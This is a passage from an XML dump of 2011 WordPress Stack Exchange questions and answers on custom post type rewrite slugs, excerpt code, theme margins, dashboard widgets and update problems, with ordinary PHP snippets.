class=&quot;more-link&quot;&amp;gt;'.$more_text.'&amp;lt;/a&amp;gt;');&#xA;    } else { &#xA;        $excerpt_more = apply_filters('excerpt_more', ' ' . '&amp;amp;hellip;&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;id).'&quot; class=&quot;more-link&quot;&amp;gt;+ more&amp;lt;/a&amp;gt;');&#xA;    }&#xA;&#xA;    $words = preg_split('/(&amp;lt;a.*?a&amp;gt;)|\n|\r|\t|\s/', $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE );  &#xA;    if ( count($words) &amp;gt; $excerpt_length ) {  &#xA;        array_pop($words);  &#xA;        $text = implode(' ', $words);  &#xA;        $text = $text . $excerpt_more;  &#xA;    } else {  &#xA;        $text = implode(' ', $words);  &#xA;    }  &#xA;    $output = '&amp;lt;p&amp;gt;'.$text.'&amp;lt;/p&amp;gt;';&#xA;    echo $output;  &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-29T19:49:13.810" LastActivityDate="2011-05-30T04:05:00.100" Title="Cannot strip JW Player shortcode?" Tags="&lt;plugins&gt;&lt;shortcode&gt;&lt;excerpt&gt;" AnswerCount="5" CommentCount="5" FavoriteCount="1" />
  <row Id="17640" PostTypeId="1" CreationDate="2011-05-19T02:40:20.870" Score="2" ViewCount="276" Body="&lt;p&gt;I've run into another wonderful 404 issue.  I'm trying to have 2 seperate post types that share the same rewrite slug.   I've flushed my rewrite rules, and when I test only 1 of the CPT works- the other gets a 404.  My rewrite that I wish to use for both is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'team/%teamtype%'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to handle this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_rider_type' );&#xA;&#xA;function create_rider_type() {&#xA;&#xA;register_post_type('riders', &#xA;array(  &#xA;    'description' =&amp;gt; 'rider custom post type',&#xA;    'show_ui' =&amp;gt; true,&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/riders.png',&#xA;    'exclude_from_search' =&amp;gt; false,&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Team Riders',&#xA;        'singular_name' =&amp;gt; 'Rider',&#xA;        'add_new' =&amp;gt; 'Add New rider',&#xA;        'add_new_item' =&amp;gt; 'Add New rider',&#xA;        'edit' =&amp;gt; 'Edit riders',&#xA;        'edit_item' =&amp;gt; 'Edit rider',&#xA;        'new_item' =&amp;gt; 'New rider',&#xA;        'view' =&amp;gt; 'View rider',&#xA;        'view_item' =&amp;gt; 'View rider',&#xA;        'search_items' =&amp;gt; 'Search riders',&#xA;        'not_found' =&amp;gt; 'No riders found',&#xA;        'not_found_in_trash' =&amp;gt; 'No riders found in Trash',&#xA;        'parent' =&amp;gt; 'Parent rider',&#xA;    ),&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'supports' =&amp;gt; array('title','editor','excerpt', 'trackbacks','custom-fields', 'comments','revisions','thumbnail','author','page-attributes'),&#xA;    'public' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'team/%teamtype%'),&#xA;    'taxonomies' =&amp;gt; array('teamtype')&#xA;    ) &#xA;);&#xA;&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;add_action( 'init', 'create_sponsor_type' );&#xA;&#xA;function create_sponsor_type() {&#xA;&#xA;register_post_type('sponsors', &#xA;array(  &#xA;    'description' =&amp;gt; 'sponsor custom post type',&#xA;    'show_ui' =&amp;gt; true,&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/sponsors.png',&#xA;    'exclude_from_search' =&amp;gt; false,&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Team sponsors',&#xA;        'singular_name' =&amp;gt; 'sponsor',&#xA;        'add_new' =&amp;gt; 'Add New sponsor',&#xA;        'add_new_item' =&amp;gt; 'Add New sponsor',&#xA;        'edit' =&amp;gt; 'Edit sponsors',&#xA;        'edit_item' =&amp;gt; 'Edit sponsor',&#xA;        'new_item' =&amp;gt; 'New sponsor',&#xA;        'view' =&amp;gt; 'View sponsor',&#xA;        'view_item' =&amp;gt; 'View sponsor',&#xA;        'search_items' =&amp;gt; 'Search sponsors',&#xA;        'not_found' =&amp;gt; 'No sponsors found',&#xA;        'not_found_in_trash' =&amp;gt; 'No sponsors found in Trash',&#xA;        'parent' =&amp;gt; 'Parent sponsor',&#xA;    ),&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'supports' =&amp;gt; array('title','editor','excerpt', 'trackbacks','custom-fields', 'comments','revisions','thumbnail','author','page-attributes'),&#xA;    'public' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'team/%teamtype%'),&#xA;    'taxonomies' =&amp;gt; array('teamtype')&#xA;    ) &#xA;);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;****&lt;/strong&gt;&lt;em&gt;Update&lt;/em&gt;&lt;strong&gt;&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original CPT rewrite code I posted was simplified so I could get more straight to the point- however maybe it makes more sense if you can see how i'm handling those permalinks with my custom Taxonomy.   I've updated the code to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really wish to keep them as seperate post types- for organization as well as seperate metaboxes for each.  Please check the updated rewrites for the CPT's, as well as my Taxonomy setup below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_team_taxonomies' );&#xA;&#xA;function create_team_taxonomies() {&#xA;register_taxonomy( &#xA;'teamtype', &#xA;array('riders','sponsors'),&#xA;array( &#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Team Types',&#xA;        'singular_name' =&amp;gt; 'Team Type',&#xA;        'search_items' =&amp;gt;  'Search Team Types',&#xA;        'popular_items' =&amp;gt; 'Popular Team Types',&#xA;        'all_items' =&amp;gt; 'All Team Types',&#xA;        'parent_item' =&amp;gt; 'Parent Team Type',&#xA;        'parent_item_colon' =&amp;gt; 'Parent Team Type:',&#xA;        'edit_item' =&amp;gt; 'Edit Team Type', &#xA;        'update_item' =&amp;gt; 'Update Team Type',&#xA;        'add_new_item' =&amp;gt; 'Add New Team Type',&#xA;        'new_item_name' =&amp;gt; 'New Team Type Name'&#xA;    ), &#xA;'hierarchical' =&amp;gt; true, &#xA;'public' =&amp;gt; true,&#xA;'show_ui' =&amp;gt; true,&#xA;'query_var' =&amp;gt; 'teamtype',&#xA;'show_tagcloud' =&amp;gt; true,&#xA;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'team', 'with_front' =&amp;gt; false) &#xA;) &#xA;);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is how I setup the rewrite when I select the Taxonomy, and publish the post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_filter('post_link', 'teamtypepermalink', 10, 3);&#xA;    add_filter('post_type_link', 'teamtypepermalink', 10, 3);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function teamtypepermalink($permalink, $post_id, $leavename) {&#xA;if (strpos($permalink, '%teamtype%') === FALSE) return $permalink;&#xA;&#xA;    // Get post&#xA;    $post = get_post($post_id);&#xA;    if (!$post) return $permalink;&#xA;&#xA;    // Get taxonomy terms&#xA;    $terms = wp_get_object_terms($post-&amp;gt;ID, 'teamtype');    &#xA;    if (!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms) &amp;amp;&amp;amp; is_object($terms[0])) $taxonomy_slug = $terms[0]-&amp;gt;slug;&#xA;    else $taxonomy_slug = 'not-specified';&#xA;&#xA;return str_replace('%teamtype%', $taxonomy_slug, $permalink);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2811" LastEditorUserId="2811" LastEditorDisplayName="" LastEditDate="2011-05-22T17:44:23.650" LastActivityDate="2011-05-22T17:44:23.650" Title="Multiple post types - share same ReWrite slug?" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;rewrite-rules&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="17641" PostTypeId="1" CreationDate="2011-05-19T02:48:59.743" Score="0" ViewCount="41" Body="&lt;p&gt;When I try to add a new post using the WordPress web interface or through any other blog client, it displays duplicated categories. I am confused to select which tag I must select while posting. I doubt this is a database issue. How to get rid of this&lt;/p&gt;&#xA;" OwnerUserId="5488" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-19T04:23:08.313" LastActivityDate="2011-05-19T04:23:08.313" Title="Duplicate categories" Tags="&lt;categories&gt;&lt;posts&gt;" CommentCount="1" />
  <row Id="17643" PostTypeId="1" CreationDate="2011-05-19T04:03:56.030" Score="3" ViewCount="336" Body="&lt;p&gt;I am creating a custom theme, and elements behave as they should but when I place the &lt;code&gt;&amp;lt;?php wp_head() ?&amp;gt;&lt;/code&gt; tag I get a top margin, at the top of my theme header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I remove the &lt;code&gt;&amp;lt;?php wp_head(); ?&amp;gt;&lt;/code&gt; the margin goes away. I have been at this for a while any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="5491" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-19T14:58:49.163" LastActivityDate="2011-07-29T01:46:25.963" Title="Why is wp_head() creating a top margin at the top of my theme header?" Tags="&lt;theme-development&gt;&lt;wp-head&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="17644" PostTypeId="2" ParentId="17643" CreationDate="2011-05-19T05:08:32.277" Score="4" ViewCount="" Body="&lt;p&gt;Hard to saw without looking at it, but an educated guess:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More than likely it is the CSS for the admin bar, which only appears when you are logged in. the &lt;code&gt;&amp;lt;?php wp_head() ?&amp;gt;&lt;/code&gt; will include the css for it, and &lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&lt;/code&gt; includes the html for the admin bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look, it should actually be a margin-top added to the html tag.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditorDisplayName="" LastEditDate="2011-05-19T05:13:43.333" LastActivityDate="2011-05-19T05:13:43.333" CommentCount="2" />
  <row Id="17645" PostTypeId="2" ParentId="17640" CreationDate="2011-05-19T05:12:15.293" Score="1" ViewCount="" Body="&lt;p&gt;As far as I know, you can't do that. Every slug is converted to a query_vars item that queries  a specific object type (taxonomy or post type). If you analice your WP_Query, you'll see that is querying the first post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a WP Ninja here can enlighten us with this, but I'm almost sure that you can't do it. Or at least, you shouldn't.  &lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-19T05:12:15.293" />
  <row Id="17646" PostTypeId="2" ParentId="17637" CreationDate="2011-05-19T05:17:31.237" Score="2" ViewCount="" Body="&lt;p&gt;did you try defining your perm structure like: /blog/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If each one of your custom post types has its own slug defined, this should work like you are asking.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-19T05:17:31.237" CommentCount="4" />
  <row Id="17647" PostTypeId="1" CreationDate="2011-05-19T05:26:40.093" Score="1" ViewCount="165" Body="&lt;p&gt;I am fairly new to Wordpress, and I would like to have a list of the most recent posts in a certain category appear in a right-hand panel (I can do this with all posts, but not specific categories)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Twenty Ten theme, on the free web-based Wordpress site. I have found the following code, but unsure if or where this can be added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php $recent = new WP_Query(&quot;cat=10&amp;amp;showposts=5&quot;); while($recent-&amp;gt;have_posts()) : $recent-&amp;gt;the_post();?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5493" LastEditorUserId="5223" LastEditorDisplayName="" LastEditDate="2011-05-19T06:10:46.170" LastActivityDate="2011-08-17T17:26:01.180" Title="Display most recent posts in category with Twenty Ten theme widget" Tags="&lt;categories&gt;&lt;posts&gt;&lt;sidebar&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" />
  <row Id="17648" PostTypeId="2" ParentId="17647" CreationDate="2011-05-19T05:32:22.820" Score="0" ViewCount="" Body="&lt;p&gt;The fastest way, a plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/category-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/category-posts/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-19T05:32:22.820" CommentCount="4" />
  <row Id="17649" PostTypeId="2" ParentId="17643" CreationDate="2011-05-19T05:34:52.727" Score="0" ViewCount="" Body="&lt;p&gt;You should see what class is adding the margin with firebug or a similar tool.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-19T05:34:52.727" />
  <row Id="17650" PostTypeId="1" CreationDate="2011-05-19T05:53:09.133" Score="0" ViewCount="113" Body="&lt;p&gt;I have WP 3.0.something installed on IIS using web.config to enable pretty permalinks.  I saw the notice to update to 3.1.2 on the dashboard, and clicked through to update automatically.  This was the response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Downloading update from &lt;a href=&quot;http://wordpress.org/wordpress-3.1.2.zip&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/wordpress-3.1.2.zip&lt;/a&gt;…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unpacking the update…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Could not copy files.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Installation Failed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I gave IIS_IUSRS all the permission it could need and more, and the update would still not install automatically.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me what the problem might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:  I think I should note here that I am able to auto-install plug-ins from the Wordpress web site.  &lt;/p&gt;&#xA;" OwnerUserId="5378" LastEditorUserId="5378" LastEditorDisplayName="" LastEditDate="2011-05-19T06:25:47.220" LastActivityDate="2011-05-19T06:25:47.220" Title="Why is my wordpress install (on IIS) failing to update automatically?" Tags="&lt;iis&gt;&lt;auto-update&gt;" CommentCount="1" />
  <row Id="17651" PostTypeId="2" ParentId="17625" CreationDate="2011-05-19T06:07:38.483" Score="1" ViewCount="" Body="&lt;p&gt;Lokks like you have a function declared inside another function, your code is wrong, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// wp_dashboard_setup is the action hook&#xA;add_action('wp_dashboard_setup', 'mycustom_moviestats');&#xA;&#xA;// add dashboard widget&#xA;function mycustom_moviestats() {&#xA;    wp_add_dashboard_widget('custom_movie_widget', 'Movie Stats','custom_dashboard_movie_list');&#xA;}&#xA;&#xA;function custom_dashboard_movie_list(){&#xA;&#xA;    $args = array(&#xA;        'public' =&amp;gt; true ,&#xA;        '_builtin' =&amp;gt; false );&#xA;    $output = 'object';&#xA;    $operator = 'and';&#xA;    echo '&amp;lt;table&amp;gt;';&#xA;    //loop over all custom post types&#xA;    $post_types = get_post_types( $args , $output , $operator );&#xA;    foreach( $post_types as $post_type ) {&#xA;        $num_posts = wp_count_posts( $post_type-&amp;gt;name );&#xA;        $num = number_format_i18n( $num_posts-&amp;gt;publish );&#xA;        $text = _n( $post_type-&amp;gt;labels-&amp;gt;singular_name, $post_type-&amp;gt;labels-&amp;gt;name , intval( $num_posts-&amp;gt;publish ) );&#xA;        if ( current_user_can( 'edit_posts' ) ) {&#xA;            $num = &quot;&amp;lt;a href='edit.php?post_type=$post_type-&amp;gt;name'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;            $text = &quot;&amp;lt;a href='edit.php?post_type=$post_type-&amp;gt;name'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;first b b-' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;t ' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;    }&#xA;&#xA;    //loop over all taxonomies&#xA;    $taxonomies = get_taxonomies( $args , $output , $operator ); &#xA;    foreach( $taxonomies as $taxonomy ) {&#xA;        $num_terms  = wp_count_terms( $taxonomy-&amp;gt;name );&#xA;        $num = number_format_i18n( $num_terms );&#xA;        $text = _n( $taxonomy-&amp;gt;labels-&amp;gt;singular_name, $taxonomy-&amp;gt;labels-&amp;gt;name , intval( $num_terms ));&#xA;        if ( current_user_can( 'manage_categories' ) ) {&#xA;            $num = &quot;&amp;lt;a href='edit-tags.php?taxonomy=$taxonomy-&amp;gt;name'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;            $text = &quot;&amp;lt;a href='edit-tags.php?taxonomy=$taxonomy-&amp;gt;name'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;first b b-' . $taxonomy-&amp;gt;name . '&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;t ' . $taxonomy-&amp;gt;name . '&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-19T06:07:38.483" CommentCount="1" />
  <row Id="17652" PostTypeId="1" CreationDate="2011-05-19T06:32:39.290" Score="1" ViewCount="204" Body="&lt;p&gt;The custom excerpt field (under Add New Post) only accepts html. Thus, you can't just cut and paste a segment from the Visual Editor. If you want links to appear in custom excerpt, you have to know how to create them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work so well for users who are unfamiliar with html. Is there any way to give the same Visual Editor capabilities to the custom excerpt field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2011-05-19T06:40:37.760" Title="Add visual editor capability to custom excerpt window?" Tags="&lt;editor&gt;&lt;html&gt;&lt;excerpt&gt;&lt;formatting&gt;" AnswerCount="1" />
  <row Id="17653" PostTypeId="2" ParentId="17652" CreationDate="2011-05-19T06:40:37.760" Score="1" ViewCount="" Body="&lt;p&gt;The plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-excerpt/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Excerpt&lt;/a&gt; adds the Visual Editor to the Excerpt field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-excerpt/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-excerpt/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-19T06:40:37.760" CommentCount="1" />
  <row Id="17654" PostTypeId="2" ParentId="16251" CreationDate="2011-05-19T06:42:28.543" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if any of these answers have satisfied your question, but another plugin for adjusting the plugins certain user levels can see is &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;User Role Editor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5019" LastActivityDate="2011-05-19T06:42:28.543" CommentCount="1" />
  <row Id="17655" PostTypeId="2" ParentId="17526" CreationDate="2011-05-19T06:44:25.657" Score="2" ViewCount="" Body="&lt;p&gt;As @Brady said alot of settings go only to 1024 x 1024 this will probably change in the future as stats for resolutions, browsers, Internet speeds, etc change and show that alot of people are running better or newer systems&lt;/p&gt;&#xA;&#xA;&lt;p&gt;reduce the image size as most users do not need to view a image that is bigger then 1024 x 1024. I usually use the 800 x 600 or bigger but less then 1024 x 1024. Most of my images though are smaller&lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-19T06:56:32.327" LastActivityDate="2011-05-19T06:56:32.327" CommentCount="2" />
  <row Id="17656" PostTypeId="2" ParentId="17640" CreationDate="2011-05-19T06:48:54.737" Score="1" ViewCount="" Body="&lt;p&gt;As CPTs (and posts / pages, for that matter) are constructed, that's not possible. The slug is reserved for the specific type, with the understanding / assumption that 2 CPTs = 2 different types of content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;based on your code, it almost seems like each of the items you have in the CPT would be better be served as a custom taxonomy, with both being attached to a single CPT (I'm guessing some sort of event?)&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-19T06:48:54.737" CommentCount="3" />
  <row Id="17657" PostTypeId="2" ParentId="17626" CreationDate="2011-05-19T06:56:49.323" Score="0" ViewCount="" Body="&lt;p&gt;Just tested this and it worked on my end. The shortcode itself would be [titlelink]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function titlelink_ssc($content = null) {&#xA;&#xA;        ob_start();&#xA;        echo '&amp;lt;a href=&quot;'.get_permalink().'&quot; title=&quot;'.get_the_title().'&quot;&amp;gt;'.get_the_title().'&amp;lt;/a&amp;gt;';&#xA;        $titlelink_ssc = ob_get_clean();&#xA;        return $titlelink_ssc;&#xA;&#xA;        }&#xA;add_shortcode(&quot;titlelink&quot;, &quot;titlelink_ssc&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-19T06:56:49.323" CommentCount="2" />
  <row Id="17659" PostTypeId="1" AcceptedAnswerId="17685" CreationDate="2011-05-19T07:39:39.210" Score="2" ViewCount="171" Body="&lt;p&gt;I have noticed that when I am in my Dashboard and switching from main Dashboard to for example plugins, Twitter seems to be loading something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am located in China where Twitter is blocked, it always takes forever for my browser to realise that Twitter cannot be loaded, and thus before the page(s) finish loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This screenshot is for going to the plugins page, but it happens everywhere in the Dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://img.skitch.com/20110519-m3224n1ur5mqmkwqsjq4g4adjd.jpg&quot; alt=&quot;Browser at plugin page loading something from platform.twitter.com&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal? And can it be blocked/removed/undone?&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-19T10:19:08.160" LastActivityDate="2011-06-28T08:18:25.527" Title="Browser loading content from Twitter in admin area?" Tags="&lt;dashboard&gt;&lt;twitter&gt;" AnswerCount="4" CommentCount="16" />
  <row Id="17660" PostTypeId="2" ParentId="17640" CreationDate="2011-05-19T08:59:15.810" Score="0" ViewCount="" Body="&lt;p&gt;Your rewrite rules will overwrite each other, and WordPress will query for only one of the post types. I think it is the latest one that is registered that &quot;wins&quot;, so &lt;code&gt;/testslug/bmw/&lt;/code&gt; will always query for a post with slug &lt;code&gt;bmw&lt;/code&gt; and post type &lt;code&gt;sponsors&lt;/code&gt;. If you go to &lt;code&gt;/testslug/some-name/&lt;/code&gt; and &lt;code&gt;some-name&lt;/code&gt; is a rider, it will still query for post type &lt;code&gt;sponsors&lt;/code&gt; and post slug &lt;code&gt;some-name&lt;/code&gt;. It will find no post, and thus give you a 404. This happens in the &quot;default&quot; query that WordPress will do for you, before it loads the template page, so you can't solve this in your &lt;code&gt;single-sponsors.php&lt;/code&gt; template file for example (you could in &lt;code&gt;404.php&lt;/code&gt;, but then it gets ugly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cleanest solution is to replace part of the logic that does this URL parsing, and make it accept an &quot;ambiguous&quot; URL. Test whether it is a rider or a sponsor, and change the parameters so WordPress will continue with either a rider or a sponsor. Mike &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9419/remove-taxonomy-slug-from-a-custom-hierarchical-taxonomy-permalink/10162#10162&quot;&gt;once provided a way to do this&lt;/a&gt; with pages and taxonomies, it should be possible to extend this to work with posts only.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T08:59:15.810" />
  <row Id="17661" PostTypeId="1" AcceptedAnswerId="17665" CreationDate="2011-05-19T09:01:09.117" Score="1" ViewCount="237" Body="&lt;p&gt;I'm developping a plugin to manage a base of users and I'd like to show them in the same type of table used in other parts of the WP admin (post lists, user lists, etc.), I'd like to have the same look and the if possible the column sorting too.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-05-19T09:39:17.827" Title="How to use WP default post list tables in a plugin?" Tags="&lt;plugin-development&gt;&lt;posts&gt;&lt;users&gt;&lt;sort&gt;&lt;listing&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17662" PostTypeId="1" AcceptedAnswerId="17696" CreationDate="2011-05-19T09:21:09.480" Score="2" ViewCount="123" Body="&lt;p&gt;I don't think I ever had practical need to create folders/files in WP before, but for a plugin I need cache (for resized images) folder in &lt;code&gt;wp-content/uploads&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which raises the question - do I really need to go through all the process with &lt;a href=&quot;http://codex.wordpress.org/Filesystem_API&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Filesystem API&lt;/code&gt;&lt;/a&gt; (including messily asking for FTP credentials when needed), or &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mkdir_p&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_mkdir_p()&lt;/code&gt;&lt;/a&gt; is good enough for this?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-24T16:28:05.240" Title="Creating directory in uploads - wp_mkdir_p() or WP_Filesystem?" Tags="&lt;filesystem&gt;&lt;wp-filesystem&gt;&lt;wp-mkdir-p&gt;" AnswerCount="3" />
  <row Id="17663" PostTypeId="1" AcceptedAnswerId="17676" CreationDate="2011-05-19T09:28:45.373" Score="0" ViewCount="102" Body="&lt;p&gt;I want my to reach my website's main page when entering an url like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://example.com/blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't seem to get it to work with a typical rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/blog$ /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm always taken to my site's 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works fine if I specify a specific file (e.g. &quot;/foo.html&quot;) instead of &quot;/&quot;, but &quot;/index.php&quot; doesnt't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this work?&lt;/p&gt;&#xA;" OwnerUserId="4534" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-19T12:11:04.333" LastActivityDate="2011-05-19T13:04:53.307" Title="How to redirect a virtual page (e.g. /blog) to the home page?" Tags="&lt;url-rewriting&gt;&lt;page&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;" AnswerCount="3" CommentCount="4" />
